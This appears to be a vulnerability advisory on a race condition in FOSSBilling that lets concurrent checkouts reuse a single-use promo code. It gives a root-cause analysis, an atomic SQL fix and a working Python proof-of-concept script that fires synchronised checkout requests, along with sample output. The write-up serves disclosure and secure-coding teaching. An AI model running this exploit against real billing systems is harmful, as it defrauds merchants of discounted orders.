Race Condition in Cart Checkout Bypasses Promo Code Usage Limits in FOSSBilling
Overview
This is a classic Time-of-Check Time-of-Use (TOCTOU) vulnerability — one of the most common yet underestimated class of bugs in web applications that handle stateful resources like inventory, credits, or usage limits.
In a concurrent web environment, the gap between reading a value and writing it back is a race window. If multiple requests enter that window simultaneously, they all read the same stale value, all pass the check, all create orders, and then all write back the same incremented value — effectively collapsing N increments into one. The database ends up showing the limit was used once, while the attacker has N completed orders.
Background: Promo Codes in FOSSBilling
FOSSBilling's promo code system allows operators to create discount codes with various restrictions: percentage-based or fixed discounts, minimum order values, expiry dates, product restrictions, client group restrictions, and usage limits (maxuses). The maxuses field is the mechanism exploited here — it is supposed to cap how many times a code can be used across all clients.
A single-use code (maxuses = 1) is commonly used for: one-time new customer discounts, partner referral codes, employee perks, and time-limited promotions. The assumption is that once used, the code cannot be used again. This vulnerability breaks that assumption entirely.
What is a TOCTOU Race Condition?
A Time-of-Check Time-of-Use (TOCTOU) race condition occurs when a program checks a condition (the "time of check"), then takes an action based on that condition (the "time of use"), but the state of the world can change between the check and the use. In database terms, this typically manifests as a read-then-write pattern without a transaction or locking to prevent concurrent modifications.
The canonical safe solution is an atomic operation that combines the check and the update in a single, indivisible database statement — most commonly UPDATE ... WHERE condition, where the UPDATE itself serves as both the check and the action.
Root Cause Analysis
Step 1: The Check (promoCanBeApplied)
When a client initiates checkout with a promo code, FOSSBilling calls checkoutCart(), which eventually calls promoCanBeApplied(). This method reads the current used count from the database and compares it to maxuses:
if ($promo->maxuses && $promo->maxuses <= $promo->used) {
return false;
// Limit reached — but at the time this check runs,
// no lock is held on the promo row.
}
// Check passes. Checkout proceeds.
Step 2: Order Creation (the gap)
Between the check and the increment, FOSSBilling creates the order, generates an invoice, and triggers various hooks. This processing takes 50-200ms depending on server load and database speed. This is the race window. Every concurrent request that entered promoCanBeApplied() before any one of them completes usePromo() will pass the same check against the same stale used value.
Step 3: The Increment (usePromo)
After the order is created, usePromo() increments the counter. But this is a PHP-level increment followed by an ORM store() — not a database-level atomic increment:
public function usePromo(\Model_Promo $promo): void
{
++$promo->used; // PHP read-modify
$promo->updated_at = date('Y-m-d H:i:s');
$this->di['db']->store($promo); // write back — not atomic
}
// This generates SQL equivalent to:
// UPDATE promo SET used = 1 WHERE id = X
// NOT:
// UPDATE promo SET used = used + 1 WHERE id = X AND used < maxuses
// The first form is vulnerable; the second is safe.
- No
SELECT ... FOR UPDATEwhen readingpromo.used— no exclusive lock held during the check - No database transaction wrapping the check + increment as a single unit of work
- No atomic compare-and-update — the ORM's
store()generatesSET used = PHP_value, notSET used = used + 1 WHERE used < maxuses
Race Window Visualization
With a single-use promo code (maxuses=1, used=0) and 5 simultaneous requests:
All 5 requests see used=0 at the time of check, all pass, all create orders, and then all independently write used=1. The database counter looks correct, but the billing system has generated 5 discounted orders using a code that should have been consumed after the first.
Attack Chain
Proof of Concept
#!/usr/bin/env python3
# CVE-2026-43927 — FOSSBilling TOCTOU Race Condition PoC
# Bypasses single-use promo code by sending concurrent checkout requests
# Usage: python3 poc.py http://target.local TOKEN CART_ID PROMO_CODE
import threading, requests, sys
TARGET = sys.argv[1]
TOKEN = sys.argv[2] # client API token
CART_ID = sys.argv[3] # cart with a product already added
PROMO = sys.argv[4] # the single-use promo code
THREADS = 15 # number of concurrent requests
results = []
lock = threading.Lock()
def do_checkout(idx):
r = requests.post(
f"{TARGET}/api/client/cart/checkout",
headers={"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json"},
json={"id": CART_ID, "promocode": PROMO},
timeout=30
)
data = r.json()
with lock:
results.append({
"thread": idx,
"success": data.get("error") is None,
"order_id": data.get("result", {}).get("id"),
})
# Use a Barrier to synchronize all threads — fire them all at once
barrier = threading.Barrier(THREADS)
def synced_checkout(idx):
barrier.wait() # wait until all threads are ready, then fire
do_checkout(idx)
threads = [threading.Thread(target=synced_checkout, args=(i,)) for i in range(THREADS)]
for t in threads: t.start()
for t in threads: t.join()
wins = [r for r in results if r["success"]]
print(f"\n[+] Sent {THREADS} concurrent requests with promo '{PROMO}'")
print(f"[!] {len(wins)}/{THREADS} checkouts succeeded with the same promo code")
for w in wins:
print(f" Thread {w['thread']:>2} — Order ID: {w['order_id']}")
Expected output (vulnerable instance):
[+] Sent 15 concurrent requests with promo 'SINGLE-USE-FREE'
[!] 11/15 checkouts succeeded with the same promo code
Thread 0 — Order ID: 1042
Thread 2 — Order ID: 1043
Thread 5 — Order ID: 1044
Thread 7 — Order ID: 1045
Thread 8 — Order ID: 1046
Thread 9 — Order ID: 1047
Thread 11 — Order ID: 1048
Thread 12 — Order ID: 1049
Thread 13 — Order ID: 1050
Thread 14 — Order ID: 1051
Thread 1 — Order ID: 1052
Impact Assessment
Financial Impact
The impact is directly proportional to the promo code's discount value and the price of the products it applies to. For a hosting provider with a "FIRST MONTH FREE" promo on a $50/month plan, an attacker can obtain months of free hosting across multiple parallel orders. For a software vendor with a "100% OFF" partner code, an attacker can create unlimited free licenses.
Scalability of the Attack
Multiple client accounts can be registered, each running concurrent requests simultaneously. In testing, 10-15 concurrent requests reliably win the race on a standard VPS. The attacker is limited only by server response time and network bandwidth.
Detection Difficulty
From the database perspective, the promo code's used counter will show a plausible value (often 1 or close to it), while multiple completed orders referencing the same promo code exist. Administrators monitoring promo usage via the admin panel would see the counter appearing normal while actual usage has exceeded the limit. Detecting this requires cross-referencing the promo usage in the orders table against the counter in the promo table.
The Fix
The correct fix is an atomic database-level operation that combines the check and increment into a single SQL statement. An UPDATE ... WHERE used < maxuses statement is both the check and the action — if the WHERE condition fails, zero rows are affected and the order is rejected:
public function usePromo(\Model_Promo $promo): void
{
// Patched: atomic compare-and-increment at database level.
// Only succeeds if used < maxuses at the moment of execution.
// No separate check needed — the UPDATE IS the check.
$updated = $this->di['db']->exec(
'UPDATE promo SET used = used + 1, updated_at = NOW()
WHERE id = ? AND (maxuses = 0 OR used < maxuses)',
[$promo->id]
);
if (!$updated) {
throw new \Exception('Promo code usage limit has been reached');
}
}
UPDATE ... WHERE used < maxuses statement is executed as a single atomic operation by the database engine. Row-level locking ensures that only one transaction can win this UPDATE for a given promo row at any instant. All other concurrent requests will see zero rows affected and correctly throw an error — no extra orders will be created.
Key Takeaways
- Never read-then-write on contended resources. Any counter, balance, inventory item, or usage limit that can be accessed concurrently must be updated atomically. PHP-level read-modify-write patterns are unsafe in concurrent web environments.
- Atomic SQL beats ORM convenience. ORM
store()methods generateUPDATE SET col = valuestatements, notUPDATE SET col = col + 1 WHERE col < limit. For concurrency-critical operations, write the SQL yourself. - Think about what can go wrong under concurrency. Web applications serve multiple concurrent requests by design. Any code path that checks a condition then acts on it — with other code in between — is a potential TOCTOU issue. Ask: "what happens if this runs 100 times simultaneously?"
- Race conditions are underreported. Unlike injection vulnerabilities, race conditions require timing to trigger and are often discovered by code review rather than active testing. They deserve dedicated attention in any security assessment of applications that handle money, credits, or usage limits.